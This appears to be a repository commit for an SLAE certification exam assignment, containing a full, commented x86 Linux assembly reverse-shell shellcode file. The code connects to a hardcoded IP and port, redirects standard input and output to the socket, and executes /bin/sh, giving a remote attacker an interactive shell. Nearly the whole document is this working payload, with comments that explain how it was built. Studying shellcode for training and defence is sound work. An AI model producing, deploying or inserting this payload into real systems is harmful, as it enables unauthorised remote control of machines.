SLAE exam2 added missing files
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arno01
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exam2/shell_reverse_tcp.nasm
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exam2/shell_reverse_tcp.nasm
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; This program is free software: you can redistribute it and/or modify
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; it under the terms of the GNU General Public License as published by
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; the Free Software Foundation, either version 3 of the License, or
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; (at your option) any later version.
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;
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; This program is distributed in the hope that it will be useful,
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; but WITHOUT ANY WARRANTY; without even the implied warranty of
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; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
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; GNU General Public License for more details.
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;
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; You should have received a copy of the GNU General Public License
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; along with this program. If not, see <http://www.gnu.org/licenses/>.
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; Filename: shell_reverse_tcp.nasm
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; Author: Andrey Arapov <andrey.arapov@gmail.com>
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; 2013 March
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;
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; DESC:
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; - Reverse connects to configured IP and Port
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; - Execs Shell on successful connection
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;
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; IP and Port are the last 6 bytes of the shellcode.
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; In hex \xc0\xa8\x01\x01\x30\x45 (0xc0a80101 = 192.168.1.1 AND 0x3045 = 12357)
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;
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global _start
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section .text
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_start:
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;
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; Reverse engineering
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; $ strace -e execve,socket,bind,connect nc 127.0.0.1 12357
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; execve("/usr/bin/nc", ["nc", "127.0.0.1", "12357"], [/* 59 vars */]) = 0
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; socket(PF_NETLINK, SOCK_RAW, 0) = 3
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; bind(3, {sa_family=AF_NETLINK, pid=0, groups=00000000}, 12) = 0
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;
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; Below starts what we were looking for:
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;
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; socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
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; connect(3, {sa_family=AF_INET, sin_port=htons(12357), sin_addr=inet_addr("127.0.0.1")}, 16) = -1 EINPROGRESS (Operation now in progress)
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;
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;
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; Starting to code
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;
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;
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; =============================== SOCKET =====================================
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; socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
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;
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; int socket(int domain, int type, int protocol);
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;
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; int socketcall(int call, unsigned long *args)
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; socketcall SYS_SOCKET socket() args
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; EAX EBX ECX
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; 102 1 (2, 1, 6)
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;
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; SYS_SOCKET will return file descriptor (fd) in EAX.
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;
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; EAX
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xor eax, eax
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mov al, 102 ; socketcall
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; EBX
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xor ebx, ebx
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mov bl, 1 ; SYS_SOCKET socket()
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; ECX
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xor ecx, ecx
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push ecx
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push BYTE 6 ; IPPROTO_TCP || int protocol);
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push BYTE 1 ; SOCK_STREAM || int type,
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push BYTE 2 ; AF_INET || socket(int domain,
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mov ecx, esp ; ECX - PTR to arguments for socket()
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int 0x80
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; EAX return
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mov esi, eax ; save socket fd in ESI for later
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;
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; =============================== CONNECT =====================================
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;
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; connect(3, {sa_family=AF_INET, sin_port=htons(12357), sin_addr=inet_addr("127.0.0.1")}, 16) = -1 EINPROGRESS (Operation now in progress)
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;
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; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
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;
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jmp short call_get_ip_and_port
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back2shellcode:
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pop edi ; getting ip and port address from ESP
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; EAX
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xor eax, eax
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mov al, 102 ; socketcall
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; EBX
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xor ebx, ebx
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mov bl, 3 ; SYS_CONNECT connect()
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; ECX
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xor edx, edx
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; push edx ; 0.0.0.0 - ALL interfaces
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; push DWORD 0x0100007f ; 127.0.0.1 in reverse *** CONTAINS NULLs ! ***
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; push DWORD 0x0101a8c0 ; 192.168.1.1 in reverse
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push DWORD [edi] ; push IP
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push WORD [edi+0x4] ; push port
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dec ebx ; decreaes bl from 3 to 2 to use for the next push
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push WORD bx ; 2 - AF_INET
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inc ebx ; put back bl to 3 for SYS_CONNECT
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mov ecx, esp ; ptr to struct sockaddr
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push BYTE 16 ; socklen_t addrlen);
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push ecx ; const struct sockaddr *addr,
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push esi ; connect(int sockfd,
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mov ecx, esp ; ECX = PTR to arguments for connect()
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int 0x80 ; sockfd will be in EBX
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;
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; =============================== DUP FD =====================================
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;
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; Before we spawn a shell, we need to forward all I/O (stdin,stdout,stderr)
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; to a client. For this, we can dup2 syscall to duplicate a file descriptor.
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; man 2 dup2
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; int dup2(int oldfd, int newfd);
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; EAX, EBX, ECX
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; 63 sockfd 0
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; 63 sockfd 1
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; 63 sockfd 2
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;
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; move our sockfd to EAX
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mov eax, ebx
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xor eax, eax
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mov al, 63 ; dup2 syscall
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xor ecx, ecx ; 0 - stdin
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int 0x80 ; call dup2(sockfd, 0)
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mov al, 63 ; dup2 syscall
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mov cl, 1 ; 1 - stdout
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int 0x80 ; call dup2(sockfd, 1)
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mov al, 63 ; dup2 syscall
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mov cl, 2 ; 2 - stderr
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int 0x80 ; call dup2(sockfd, 2)
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;
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; =============================== EXECVE =====================================
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;
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; Now as we forwarded sockfd to a client, we can spawn shell.
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; Prepare the path, in little-endian, using the Python
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; >>> '//bin/sh'[::-1].encode('hex')
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; '68732f6e69622f2f'
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;
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; int execve(const char *filename, char *const argv[], char *const envp[]);
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; EAX EBX, ECX, EDX
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; 11 '//bin/sh' PTR to EBX NULL
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;
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;
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; EAX
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xor eax, eax
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mov al, 11 ; execve syscall
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; EBX
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xor edx, edx
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push edx ; NULL termination of '//bin/sh' string
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push 0x68732f6e ; '//bin/sh' in reverse
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push 0x69622f2f ; beginning of '//bin/sh' string is here
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mov ebx, esp ; put the address of '//bin/sh' into ebx via esp
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; ECX
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push edx ; NULL termination of a stack
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push ebx ; load our '//bin/sh' on a stack
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mov ecx, esp ; ECX is a PTR to stack where we've got EBX address to '//bin/sh' string.
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; EDX
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push edx ; NULL terminator
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mov edx, esp ; EDX is a PTR to a stack which has an address to NULL.
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int 0x80 ; call execve(EBX, ECX, EDX)
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call_get_ip_and_port:
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call back2shellcode
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; dd 0x0101a8c0 ; DWORD 192.168.1.1 reverse (in hex)
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db 0xc0, 0xa8, 0x01, 0x01 ; BYTE 192.168.1.1 straight (in hex)
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; dw 0x4530 ; WORD 12357 reverse (in hex)
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db 0x30, 0x45 ; BYTE 12357 straight (in hex)
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